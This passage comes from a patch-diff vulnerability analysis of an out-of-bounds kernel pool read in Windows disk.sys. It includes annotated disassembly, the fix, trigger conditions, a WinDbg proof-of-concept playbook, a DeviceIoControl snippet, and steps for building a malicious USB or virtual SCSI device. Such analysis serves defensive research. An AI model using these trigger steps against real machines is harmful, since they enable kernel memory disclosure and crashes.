&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000cd41:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;r12d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x6&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; *** OOB READ +0x6 ***&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000cd51:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r12w&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000cd56:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;r13d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; *** OOB READ +0x8 ***&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000cd5b:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x9&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; *** OOB READ +0x9 ***&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000cd68:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x12&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r13w&lt;/span&gt;

&lt;span class="c1"&gt;; --- Conditional tail reads (+0xA, +0xB) ---&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000cd6d:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x2&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; *** OOB READ +0x2 (bit test) ***&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000cd72:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jne&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0x1c000e2f7&lt;/span&gt;
&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000e2fe:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0xa&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; *** OOB READ +0xA ***&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000e305:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0xb&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; *** OOB READ +0xB *** (12th byte)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000e310:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x14&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;dx&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; out-&amp;gt;DiskCacheSize&lt;/span&gt;

&lt;span class="c1"&gt;; --- Cleanup ---&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000cd87:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000cd8a:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;ExFreePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000cd96:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;esi&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; return status&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Patched Equivalent — Inserted Bounds Check&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; After ClassFindModePage returns mode_page_ptr in rax -&amp;gt; r8&lt;/span&gt;
&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="nf"&gt;jne&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0x1c000dd1f&lt;/span&gt;
&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ebp&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; ecx = search_len = min(data_length, P[0]+1)&lt;/span&gt;
&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xc&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; rax = mode_page_ptr + 12&lt;/span&gt;
&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; rcx = P + search_len (searched region end)&lt;/span&gt;
&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; *** BOUNDS CHECK ***&lt;/span&gt;
&lt;span class="nf"&gt;jbe&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0x1c000dd6c&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; ok, proceed to parse&lt;/span&gt;
&lt;span class="c1"&gt;; fall through -&amp;gt; rsi = 0xC0000001, goto error&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The added block is the entire fix — it turns an unconditional trust of the device-supplied descriptor position into a verified access.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Obtain device reachability.&lt;/strong&gt; Open a handle with &lt;code&gt;CreateFileW(L"\\\\.\\PhysicalDriveN", GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL)&lt;/code&gt;, or trigger PnP enumeration of the malicious device (which fires the bug automatically via the &lt;code&gt;AddDevice&lt;/code&gt; work-item path).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;IOCTL code.&lt;/strong&gt; &lt;code&gt;IOCTL_DISK_GET_CACHE_INFORMATION = 0x740D4&lt;/code&gt; (METHOD_BUFFERED, FILE_ANY_ACCESS). Output buffer is a 24-byte &lt;code&gt;DISK_CACHE_INFORMATION&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Device-side payload.&lt;/strong&gt; The attached storage device must answer SCSI &lt;code&gt;MODE SENSE(10)&lt;/code&gt; for page code 0x08 (caching) with a response that:&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;Has total transferred length ≥ 4 bytes (passes the minimum check at &lt;code&gt;0x1c000cc69&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Contains a valid mode page 8 header byte (&lt;code&gt;page code = 0x08&lt;/code&gt;) so &lt;code&gt;ClassFindModePage&lt;/code&gt; returns a non-NULL pointer.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Truncates the page so that &lt;code&gt;mode_page_ptr + 12 &amp;gt; P + data_length&lt;/code&gt;. Example: total response = 16 bytes, mode page 8 header at offset 12 → only 4 bytes of page data, but parser reads 12 → 8 bytes OOB.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;No ordering or race constraints.&lt;/strong&gt; The read is synchronous within the IRP handling path. The &lt;code&gt;AddDevice&lt;/code&gt; work-item path requires only that PnP enumerate the device.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Observable confirmation.&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;Without Driver Verifier: OOB bytes silently copied into the IOCTL output buffer; compare returned &lt;code&gt;DISK_CACHE_INFORMATION&lt;/code&gt; fields (especially &lt;code&gt;CacheSize&lt;/code&gt;, &lt;code&gt;PrefetchSize&lt;/code&gt;, &lt;code&gt;MaximumCacheSize&lt;/code&gt;, &lt;code&gt;DiskCacheSize&lt;/code&gt;) against the device's true parameters — leaked pool residue will appear as anomalous 16-bit values.&lt;/li&gt;
&lt;li&gt;With Special Pool enabled on &lt;code&gt;disk.sys&lt;/code&gt;: immediate BSOD — &lt;code&gt;PAGE_FAULT_IN_NONPAGED_AREA&lt;/code&gt; or &lt;code&gt;BUGCODE_INVALID_DRIVER_ACCESS&lt;/code&gt; — faulting address just past the &lt;code&gt;ScDC&lt;/code&gt; allocation.&lt;/li&gt;
&lt;li&gt;If the read crosses a real page boundary (no Special Pool): bugcheck &lt;code&gt;PAGE_FAULT_IN_NONPAGED_AREA&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Primitive.&lt;/strong&gt; A bounded out-of-bounds read of &lt;code&gt;NonPagedPoolNxCacheAligned&lt;/code&gt; memory into a user-visible IOCTL output buffer. The read window is a fixed 12 bytes (&lt;code&gt;+0x0&lt;/code&gt;..&lt;code&gt;+0xB&lt;/code&gt;) from the descriptor pointer. Because the 0xC0-byte buffer is &lt;code&gt;memset&lt;/code&gt;-zeroed before &lt;code&gt;ClassModeSense&lt;/code&gt; runs, reads that stay inside the allocation return zeroes; only the portion of the window that extends past the end of the 0xC0-byte allocation reads adjacent pool contents. That out-of-allocation portion is at most ~11 bytes and surfaces in the &lt;code&gt;CacheSize&lt;/code&gt; / &lt;code&gt;PrefetchSize&lt;/code&gt; / &lt;code&gt;MaximumCacheSize&lt;/code&gt; / &lt;code&gt;DiskCacheSize&lt;/code&gt; fields of the returned &lt;code&gt;DISK_CACHE_INFORMATION&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Reachability constraints.&lt;/strong&gt; Triggering the out-of-allocation read requires a storage device whose SCSI responses the attacker controls (physical USB device, iSCSI LUN, or virtual/emulated disk). A normal disk does not return a truncated mode page 8 descriptor positioned at the tail of a full-length response, so the bug is not reachable against unmodified hardware. The disclosed bytes are whatever currently occupies the pool immediately after the &lt;code&gt;ScDC&lt;/code&gt; allocation; their content is not controlled by the attacker beyond triggering the read.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Impact bound.&lt;/strong&gt; Two outcomes are demonstrable from the binaries: (1) disclosure of a small, bounded amount of adjacent non-paged pool into the IOCTL output, and (2) a denial of service if the over-read reaches an unmapped address. This report does not claim a full exploit chain; any escalation beyond these two outcomes is not supported by the diff.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;p&gt;Assume WinDbg/KD attached to the &lt;strong&gt;unpatched&lt;/strong&gt; &lt;code&gt;disk.sys&lt;/code&gt;. Use &lt;code&gt;lm disk&lt;/code&gt; to confirm the loaded base and add the offsets below.&lt;/p&gt;
&lt;h3&gt;Finding 1 — OOB Read in &lt;code&gt;DiskGetCacheInformation (sub_1c000cbf0)&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Breakpoints&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp disk!DiskGetCacheInformation (sub_1c000cbf0)
bp disk+0xcbf0              ; same, if symbols are stripped — substitute real base
bp disk+0xcc8e              ; after ClassFindModePage returns — THE critical point
bp disk+0xccad              ; first OOB read instruction
bp disk+0xcc82              ; ClassFindModePage call site
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;disk+0xcbf0&lt;/code&gt;: function entry — confirm &lt;code&gt;rcx&lt;/code&gt; = device extension, &lt;code&gt;rdx&lt;/code&gt; = output &lt;code&gt;DISK_CACHE_INFORMATION&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;disk+0xcc8e&lt;/code&gt;: &lt;code&gt;mov r9, rax&lt;/code&gt; — r9 now holds the attacker-influenced mode page pointer. &lt;strong&gt;This is where the patch inserts the missing check.&lt;/strong&gt; Manually evaluate &lt;code&gt;r9+0xC&lt;/code&gt; vs &lt;code&gt;rdi+ecx&lt;/code&gt; to predict OOB.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;disk+0xccad&lt;/code&gt;: first byte read from &lt;code&gt;[r9]&lt;/code&gt;. If OOB, single-step and watch reads continue to &lt;code&gt;+0xb&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;disk+0xcc82&lt;/code&gt;: pre-call to &lt;code&gt;ClassFindModePage&lt;/code&gt;. Inspect &lt;code&gt;rcx&lt;/code&gt; (buffer P), &lt;code&gt;edx&lt;/code&gt; (search length), &lt;code&gt;r8b&lt;/code&gt; (page code 8), &lt;code&gt;r9b&lt;/code&gt; (subpage 1).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;What to inspect at each breakpoint&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Stop&lt;/th&gt;
&lt;th&gt;Register / expression&lt;/th&gt;
&lt;th&gt;Why&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0xcbf0&lt;/code&gt; entry&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rcx&lt;/code&gt;, &lt;code&gt;rdx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;device extension / output struct&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0xcc24&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;pool tag, &lt;code&gt;rax&lt;/code&gt; after call&lt;/td&gt;
&lt;td&gt;confirm &lt;code&gt;ScDC&lt;/code&gt;, 0xC0-byte allocation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0xcc64&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;eax&lt;/code&gt; / &lt;code&gt;ecx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;data_length&lt;/code&gt; returned by &lt;code&gt;ClassModeSense&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0xcc8e&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;r9&lt;/code&gt;, &lt;code&gt;rdi&lt;/code&gt;, &lt;code&gt;ecx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;compute &lt;code&gt;r9+0xC&lt;/code&gt; vs &lt;code&gt;rdi+ecx&lt;/code&gt; — if greater, OOB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0xcc8e&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;!pool r9 f&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;visualize the &lt;code&gt;ScDC&lt;/code&gt; allocation boundary&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0xccad&lt;/code&gt; onward&lt;/td&gt;
&lt;td&gt;&lt;code&gt;db r9 l0xc&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;dump the 12 bytes being read; bytes past &lt;code&gt;rdi+ecx-1&lt;/code&gt; are OOB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0xcd96&lt;/code&gt; (return)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;dt _DISK_CACHE_INFORMATION @rbx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;parsed output — compare to known device params&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Key offsets&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x1c000cc82&lt;/code&gt; — &lt;code&gt;call ClassFindModePage&lt;/code&gt; (returns mode page ptr in &lt;code&gt;rax&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1c000cc8e&lt;/code&gt; — &lt;code&gt;mov r9, rax&lt;/code&gt; (pointer saved).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1c000cc91–0x1c000cc94&lt;/code&gt; — &lt;code&gt;test rax,rax; je&lt;/code&gt; — &lt;strong&gt;only&lt;/strong&gt; a NULL check; this is the gap the patch fills.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1c000cc9a&lt;/code&gt; — parsing begins (no size verification).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1c000ccad&lt;/code&gt; — first OOB-prone read (&lt;code&gt;[r9]&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1c000e305&lt;/code&gt; — last OOB-prone read (&lt;code&gt;[r9+0xb]&lt;/code&gt;, the 12th byte).&lt;/li&gt;
&lt;li&gt;Patched equivalent around &lt;code&gt;0x1c000dd00–0x1c000dd20&lt;/code&gt;: &lt;code&gt;add rax,0xc; add rcx,rdi; cmp rax,rcx; jbe&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Trigger setup&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Method A — direct IOCTL from a privileged/admin user-mode process (any user with access to the disk handle):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;HANDLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CreateFileW&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\\\\&lt;/span&gt;&lt;span class="s"&gt;.&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;PhysicalDrive0&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;GENERIC_READ&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FILE_SHARE_READ&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;FILE_SHARE_WRITE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OPEN_EXISTING&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;DISK_CACHE_INFORMATION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;br&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;DeviceIoControl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x740D4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;br&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;For an unmodified real disk this returns normally; to fire the bug the target device must return a truncated mode page 8 response.&lt;/p&gt;
&lt;p&gt;Method B — programmable USB / virtual SCSI device. Configure the device emulator so its &lt;code&gt;MODE SENSE(10)&lt;/code&gt; response for page code 8 has total length, say, 16 bytes with the mode page 8 header at offset 12 (leaving 4 bytes of page data). Plugging the device triggers &lt;code&gt;AddDevice → IoQueueWorkItem → DisableWriteCache (sub_1c000eca0) → DiskGetCacheInformation (sub_1c000cbf0)&lt;/code&gt; automatically.&lt;/p&gt;
&lt;p&gt;Method C — crafted VHD / virtual disk mount with the same SCSI emulation. Open the resulting volume and issue the IOCTL.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Expected observation&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;At &lt;code&gt;disk+0xcc8e&lt;/code&gt;, evaluate &lt;code&gt;?? r9+0xc &amp;gt; rdi+ecx&lt;/code&gt; — if true, the next instructions read OOB.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;!pool r9 f&lt;/code&gt; shows the &lt;code&gt;ScDC&lt;/code&gt; pool block; bytes past its data region are leaked.&lt;/li&gt;
